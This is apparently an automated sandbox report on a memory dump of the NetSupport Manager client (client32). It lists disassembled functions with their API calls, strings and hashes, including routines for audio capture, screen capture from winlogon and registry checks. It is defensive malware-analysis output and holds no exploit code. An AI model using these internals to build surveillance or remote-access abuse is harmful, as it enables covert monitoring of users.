GetDlgItem.USER32(?,000013BE), ref: 11020367
GetWindowRect.USER32(00000000), ref: 1102036A
IsWindowVisible.USER32(?), ref: 110203D3
GetDlgItem.USER32(00000000,000013C2), ref: 110204AD
EnableWindow.USER32(00000000,00000001), ref: 110204B2
GetDlgItem.USER32(00000000,000013C3), ref: 110204DE
EnableWindow.USER32(00000000,00000001), ref: 110204E3
GetDlgItem.USER32(00000000,000013C2), ref: 11020511
ShowWindow.USER32(00000000), ref: 11020514
GetDlgItem.USER32(00000000,000013C3), ref: 11020542
ShowWindow.USER32(00000000), ref: 11020545

Part of subcall function 1101FFB0: wsprintfA.USER32 ref: 11020078

GetDlgItem.USER32(00100000,0000139C), ref: 110205B5
GetDlgItem.USER32(00100000,0000139C), ref: 110205D5
SetWindowPos.USER32(00000000), ref: 110205D8
EnableWindow.USER32(00000000,00000000), ref: 11020619
UpdateWindow.USER32(00000000), ref: 1102066C

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11020601, 11020656
NSMChatExDlg::OnWhiteBoard - Mode %d, xrefs: 1102032C
e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 11020492, 110204C3, 110204F4, 11020525
m_hWnd, xrefs: 11020497, 110204C8, 110204F9, 1102052A, 11020606, 1102065B

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Item$Enable$RectShow$UpdateVisiblewsprintf
String ID: NSMChatExDlg::OnWhiteBoard - Mode %d$e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1139678934-4020333243
Opcode ID: bf302f3f50b72fa046df3b71313cba82a1b11e2870ffdb6b8516b1e7006a154a
Instruction ID: d891f5d5e415915a6e5e6ee3e5f20cb4cdde8798b9037e3cc37bb1097e49140c
Opcode Fuzzy Hash: bf302f3f50b72fa046df3b71313cba82a1b11e2870ffdb6b8516b1e7006a154a
Instruction Fuzzy Hash: D7A1B174B40319AFE710CF60CC89F9EB7E6BB88708F108658F5166B6C4C774A941CB94

Function 11144580 Relevance: 38.7, APIs: 15, Strings: 7, Instructions: 191COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 111445AB
_memset.LIBCMT ref: 111445BE
wsprintfA.USER32 ref: 111445F4
_strrchr.LIBCMT ref: 11144631
wsprintfA.USER32 ref: 1114464D
wsprintfA.USER32 ref: 111446A3
wsprintfA.USER32 ref: 111446B0
wsprintfA.USER32 ref: 111446BD
wsprintfA.USER32 ref: 11144709
wsprintfA.USER32 ref: 1114471E
_strrchr.LIBCMT ref: 11144776
wsprintfA.USER32 ref: 11144799
wsprintfA.USER32 ref: 111447B1
wsprintfA.USER32 ref: 111447BE
wsprintfA.USER32 ref: 111447CB

Strings

0x%08X , xrefs: 111445CA
(%d.%02d.%d.%d), xrefs: 1114469D
<unknown module>, xrefs: 111446AA
+ %d bytes, xrefs: 111447AB
%s + %d bytes, xrefs: 11144718
, %s, Line %d, xrefs: 11144793
<unknown symbol>, xrefs: 111447B8

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$_memset_strrchr
String ID: (%d.%02d.%d.%d)$ + %d bytes$%s + %d bytes$, %s, Line %d$0x%08X $<unknown module>$<unknown symbol>
API String ID: 4236257132-983257157
Opcode ID: a0ef6df3c23f1de90c9332116cf72623786e7006b97500c467b7cdb199fce978
Instruction ID: 293bca24da915293cfb006549a27a8b3087cf55c4de6a639cfa4b0299eb0fa9d
Opcode Fuzzy Hash: a0ef6df3c23f1de90c9332116cf72623786e7006b97500c467b7cdb199fce978
Instruction Fuzzy Hash: 675185B1940629ABDB25CB258C40FEAF3BCAF45708F0041D9FD08A2640EB75AB55CFA5

Function 11146270 Relevance: 38.6, APIs: 11, Strings: 11, Instructions: 58libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 11143CE0: GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000), ref: 11143D1B
Part of subcall function 11143CE0: _strrchr.LIBCMT ref: 11143D2A
Part of subcall function 11143CE0: _strrchr.LIBCMT ref: 11143D3A
Part of subcall function 11143CE0: wsprintfA.USER32 ref: 11143D55

GetModuleHandleA.KERNEL32(NSMTRACE,11195AD8), ref: 1114628A
GetProcAddress.KERNEL32(00000000,NSMTraceLoad), ref: 111462A5
GetProcAddress.KERNEL32(00000000,NSMTraceUnload), ref: 111462B2
GetProcAddress.KERNEL32(00000000,NSMTraceGetConfigItem), ref: 111462BF
GetProcAddress.KERNEL32(00000000,NSMTraceGetConfigInt), ref: 111462CC
GetProcAddress.KERNEL32(00000000,vRealNSMTrace), ref: 111462D9
GetProcAddress.KERNEL32(00000000,NSMTraceClose), ref: 111462E6
GetProcAddress.KERNEL32(00000000,NSMTraceReadConfigItemFromFile), ref: 111462F3
GetProcAddress.KERNEL32(00000000,NSMTraceExclusive), ref: 11146300
GetProcAddress.KERNEL32(00000000,NSMTraceUnexclusive), ref: 1114630D
GetProcAddress.KERNEL32(00000000,NSMTraceSetModuleName), ref: 1114631A

Strings

NSMTraceClose, xrefs: 111462DB
NSMTraceLoad, xrefs: 1114629F
NSMTraceUnload, xrefs: 111462A7
NSMTraceSetModuleName, xrefs: 1114630F
NSMTraceUnexclusive, xrefs: 11146302
NSMTraceReadConfigItemFromFile, xrefs: 111462E8
vRealNSMTrace, xrefs: 111462CE
NSMTraceExclusive, xrefs: 111462F5
NSMTraceGetConfigInt, xrefs: 111462C1
NSMTraceGetConfigItem, xrefs: 111462B4
NSMTRACE, xrefs: 11146285

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$Module_strrchr$FileHandleNamewsprintf
String ID: NSMTRACE$NSMTraceClose$NSMTraceExclusive$NSMTraceGetConfigInt$NSMTraceGetConfigItem$NSMTraceLoad$NSMTraceReadConfigItemFromFile$NSMTraceSetModuleName$NSMTraceUnexclusive$NSMTraceUnload$vRealNSMTrace
API String ID: 3896832720-3703587661
Opcode ID: 4a9ea036915f179722395e8dc0fd9ac4a12141907cda7860a4eb47a17f8f2bf1
Instruction ID: f57ee56c394f0cb9b00f8b4099bcc1512020c1dff5e65ba52801e9a68d189d03
Opcode Fuzzy Hash: 4a9ea036915f179722395e8dc0fd9ac4a12141907cda7860a4eb47a17f8f2bf1
Instruction Fuzzy Hash: 5A01827491123666CB157F7B9C98ECBFEBC9B8631CB814436F41493506D6B89004CF95

Function 11052340 Relevance: 37.2, APIs: 11, Strings: 10, Instructions: 467windowtimeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110523DB
_malloc.LIBCMT ref: 11052682

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

_memmove.LIBCMT ref: 110526A5
SendMessageTimeoutA.USER32(?,0000004A,00040270,?,00000002,00002710,00000000), ref: 11052706
_free.LIBCMT ref: 110523F9

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

Part of subcall function 1103ABC0: GetDateFormatA.KERNEL32(00000400,00000002,00000000,00000000,?,00000020,AB86ACF8,00000000,?,00000000,?,?,111806E1,000000FF,?,11052885), ref: 1103ABFF
Part of subcall function 1103ABC0: GetTimeFormatA.KERNEL32(00000400,00000002,00000000,00000000,?,00000010,?,11052885,?,?,?,000003EF,00000000), ref: 1103AC14

_malloc.LIBCMT ref: 1105241A
_memmove.LIBCMT ref: 11052430
GetTickCount.KERNEL32 ref: 11052438
IsWindow.USER32(?), ref: 11052528
_free.LIBCMT ref: 1105270D
GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,000003EF,00000000,?,?,?,?,?,?,?,?), ref: 11052898

Part of subcall function 110D0A10: _free.LIBCMT ref: 110D0A3D

Strings

Message, xrefs: 110527CA
IsA(), xrefs: 1105247E
Result of SendMessage %d, xrefs: 11052719
DisableMessage, xrefs: 11052397
pcicl32.dll, xrefs: 110528E8
toastMessage.png, xrefs: 11052999
Client, xrefs: 1105239C
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 11052479
toastImageAndText.png, xrefs: 11052958
Send Message to StudentUI, xrefs: 110526BE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$CountFormatHeapTick_malloc_memmove$AllocateDateErrorFileFreeLastMessageModuleNameSendTimeTimeoutWindow
String ID: Client$DisableMessage$IsA()$Message$Result of SendMessage %d$Send Message to StudentUI$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$pcicl32.dll$toastImageAndText.png$toastMessage.png
API String ID: 1763481038-1500001994
Opcode ID: a5af5c868cd9212a901ba32a44d68793f04b98350db216f2ee331afd3a23e179
Instruction ID: 6e38d2b6be998ee6d25296f6c7b4234716829dbcf4e7872d8ddccca2a3fd8e0b
Opcode Fuzzy Hash: a5af5c868cd9212a901ba32a44d68793f04b98350db216f2ee331afd3a23e179
Instruction Fuzzy Hash: 9112A174D0126ADFDB55DBA4CC98FDEB7B4AF58308F1041E8E419A7281EB70AA84CF51

Function 1104A550 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 280COMMON

Download Yara Rule

APIs

Part of subcall function 11145C70: GetVersionExA.KERNEL32(111F1EF0,75BF8400), ref: 11145CA0
Part of subcall function 11145C70: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
Part of subcall function 11145C70: _memset.LIBCMT ref: 11145CFD
Part of subcall function 11145C70: _strncpy.LIBCMT ref: 11145DCA

Part of subcall function 11043660: SendMessageA.USER32(?,000006D4,00000000,00000000), ref: 110436CA
Part of subcall function 11043660: GetWindowLongA.USER32(00000000,000000F0), ref: 110436D1
Part of subcall function 11043660: IsWindow.USER32(00000000), ref: 110436DE
Part of subcall function 11043660: GetWindowRect.USER32(00000000,1104A5A0), ref: 110436F5

GetCursorPos.USER32(?), ref: 1104A5B4
WindowFromPoint.USER32(?,?,?,00000000,00000000,00000000), ref: 1104A5DB
GetClassNameA.USER32(00000000,?,00000040), ref: 1104A5ED
WaitForInputIdle.USER32(00000000,000003E8), ref: 1104A708
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000,00000000), ref: 1104A71B
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,00000000,00000000), ref: 1104A724
GetCursorPos.USER32(?), ref: 1104A72D
EnumWindows.USER32(11043760,?), ref: 1104A784
GetWindowRect.USER32(?,?), ref: 1104A7A0
WindowFromPoint.USER32(?,?,?,?,?,?,00000000,00000000,00000000), ref: 1104A7BA
GetClassNameA.USER32(00000000,?,00000040), ref: 1104A7C9

Strings

*ExitMetroBreak, xrefs: 1104A73E
', xrefs: 1104A842
ActivateStui=-1, @%d,%d, actwin=%x [%s], xrefs: 1104A7E7
ActivateStui=%d, @%d,%d, actwin=%x [%s], xrefs: 1104A607
*ExitMetroCloseDelay, xrefs: 1104A899
"%sNSClientTB.exe", xrefs: 1104A6B1
NSMCoolbar, xrefs: 1104A614, 1104A7F4
Client, xrefs: 1104A74F, 1104A89E

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$ClassCloseCursorFromHandleNamePointRect$EnumIdleInputLongMessageOpenSendVersionWaitWindows_memset_strncpy
String ID: "%sNSClientTB.exe"$'$*ExitMetroBreak$*ExitMetroCloseDelay$ActivateStui=%d, @%d,%d, actwin=%x [%s]$ActivateStui=-1, @%d,%d, actwin=%x [%s]$Client$NSMCoolbar
API String ID: 4093120923-2853765610
Opcode ID: f40f5608d2c4862867fda67a7de0564ca0eac3a5c4103e2191992e667f40a09e
Instruction ID: b95a4d6a995d07c4daa9ea7e2e674ddfb0ea67a82f84b5d3851b283388d8a07f
Opcode Fuzzy Hash: f40f5608d2c4862867fda67a7de0564ca0eac3a5c4103e2191992e667f40a09e
Instruction Fuzzy Hash: 7FA1B375E04269EFE720CFA0CCC5FAAB7B9EB49704F1001E9E51AA7680D7716A84CF51

Function 1100C0F0 Relevance: 35.3, APIs: 15, Strings: 5, Instructions: 332sleepCOMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(111EDE24), ref: 1100C10D
WaitForMultipleObjects.KERNEL32(?,?,00000000,?), ref: 1100C1D3
GetLastError.KERNEL32(?,?,00000000,?), ref: 1100C1E0
Sleep.KERNEL32(000003E8), ref: 1100C204
GetTickCount.KERNEL32 ref: 1100C24D
_free.LIBCMT ref: 1100C28A

Part of subcall function 1100B440: _malloc.LIBCMT ref: 1100B496
Part of subcall function 1100B440: EnterCriticalSection.KERNEL32(1100CB8A,Audio,DisableSounds,00000000,00000000,AB86ACF8,?,1100CB7A,00000000,?,1100CB7A,?), ref: 1100B4CB
Part of subcall function 1100B440: CreateFileA.KERNEL32(\\.\NSAudioFilter,C0000000,00000000,00000000,00000003,40000000,00000000,?,1100CB7A,?), ref: 1100B4E8
Part of subcall function 1100B440: _calloc.LIBCMT ref: 1100B519
Part of subcall function 1100B440: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,1100CB7A,?), ref: 1100B53F
Part of subcall function 1100B440: LeaveCriticalSection.KERNEL32(1100CB8A,?,1100CB7A,?), ref: 1100B579

_free.LIBCMT ref: 1100C411
GetTickCount.KERNEL32 ref: 1100C419
EnterCriticalSection.KERNEL32(?,?,?,00000000,?), ref: 1100C435
waveInUnprepareHeader.WINMM(?,00000000,00000020,?,?,00000000,?), ref: 1100C442
waveInPrepareHeader.WINMM(?,00000000,00000020,?,?,00000000,?), ref: 1100C44F
waveInAddBuffer.WINMM(?,00000000,00000020,?,?,00000000,?), ref: 1100C45C
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?), ref: 1100C463
_free.LIBCMT ref: 1100C4C3
InterlockedDecrement.KERNEL32(111EDE24), ref: 1100C506

Strings

Audio, xrefs: 1100C0FB
Audiothread stopped, threadcnt=%d, xrefs: 1100C513
Audiothread started, threadcnt=%d, xrefs: 1100C119
Vista AudioCap FreeInstance (pAudioCap=%p), xrefs: 1100C4E1
Error %d waiting for audio (nEvents=%d), xrefs: 1100C1F2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$_freewave$CountCreateEnterHeaderInterlockedLeaveTick$BufferDecrementErrorEventFileIncrementLastMultipleObjectsPrepareSleepUnprepareWait_calloc_malloc
String ID: Audio$Audiothread started, threadcnt=%d$Audiothread stopped, threadcnt=%d$Error %d waiting for audio (nEvents=%d)$Vista AudioCap FreeInstance (pAudioCap=%p)
API String ID: 4143487924-3268596948
Opcode ID: 298505100148be32d1e9fec23b522e3c1f0abcd0da0ad9fbcc93395b7ec93c2b
Instruction ID: ce4536ffc1536091952ef6b0c0b09b4d7bc44372ab8792d62394f68665881c24
Opcode Fuzzy Hash: 298505100148be32d1e9fec23b522e3c1f0abcd0da0ad9fbcc93395b7ec93c2b
Instruction Fuzzy Hash: 66C1E774E00717ABF708CFB4C984BAEF7A4FF45348F1082A5E96996641EB30B951CB91

Function 1105D240 Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 124filewindowCOMMON

Download Yara Rule

APIs

OpenFileMappingA.KERNEL32(000F001F,00000000,-00000007), ref: 1105D277
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 1105D294
GetDC.USER32(00000000), ref: 1105D2BB
CreateCompatibleDC.GDI32(00000000), ref: 1105D2CF
CreateDIBSection.GDI32(00000000,00000004,00000000,?,?,?), ref: 1105D2F2
SelectObject.GDI32(00000000,00000000), ref: 1105D300
GetTickCount.KERNEL32 ref: 1105D30F
BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00CC0020), ref: 1105D333
GetTickCount.KERNEL32 ref: 1105D33C
GetLastError.KERNEL32(?), ref: 1105D348
GdiFlush.GDI32 ref: 1105D35C
SelectObject.GDI32(00000000,?), ref: 1105D367
DeleteObject.GDI32(00000000), ref: 1105D36E
DeleteDC.GDI32(00000000), ref: 1105D378
ReleaseDC.USER32(00000000,00000000), ref: 1105D384
UnmapViewOfFile.KERNEL32(00000000), ref: 1105D38E
CloseHandle.KERNEL32(00000000), ref: 1105D396

Strings

Error %d blitting from winlogon, took %d ms, xrefs: 1105D34F
/thumb:, xrefs: 1105D255
ThumbWL, xrefs: 1105D246

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FileObject$CountCreateDeleteSelectTickView$CloseCompatibleErrorFlushHandleLastMappingOpenReleaseSectionUnmap
String ID: /thumb:$Error %d blitting from winlogon, took %d ms$ThumbWL
API String ID: 652520247-4094952007
Opcode ID: 8f5b295e94eaa7f285b731955c0fd9ff915ca6e09ee39c0381679d34cd356cea
Instruction ID: 78b6d8997dae8530c3cf648a665dcf4201cc58d59c57f0d4bee68b800920de56
Opcode Fuzzy Hash: 8f5b295e94eaa7f285b731955c0fd9ff915ca6e09ee39c0381679d34cd356cea
Instruction Fuzzy Hash: 924190B9E41229AFD704CFA4DD89FAEBBB8FB48704F104165F920A7644D730A901CBA1

Function 11134310 Relevance: 30.1, APIs: 2, Strings: 15, Instructions: 381COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 11134696
__strdup.LIBCMT ref: 111346C7

Strings

Current Location, xrefs: 111344AC
IsA(), xrefs: 111343E1, 1113441F, 11134575, 111345C4, 111345EF, 11134628, 1113466C, 111346B6, 11134719, 11134748, 11134782
wwww, xrefs: 11134344
CheckRMLocation, check machine key, xrefs: 111344FD
CheckRMLocation, check user key, xrefs: 1113445C
SOFTWARE\RM\Connect, xrefs: 1113452E
CurrentLocation, xrefs: 1113454E
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 111343DC, 1113441A, 11134570, 111345BF, 111345EA, 11134623, 11134667, 111346B1, 11134714, 11134743, 1113477D
CheckRMLocation, opened user key, xrefs: 11134486
RoomSpec, xrefs: 111343B9
RM user location=%s, assumed roaming, xrefs: 111344D0
CheckRMLocation, SetChannel to [%s], xrefs: 111346CD
Client, xrefs: 111343BE
SOFTWARE\Research Machines\Network Management\Location Chooser, xrefs: 11134474
CheckRMLocation, read [%s] from config, xrefs: 111343F2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

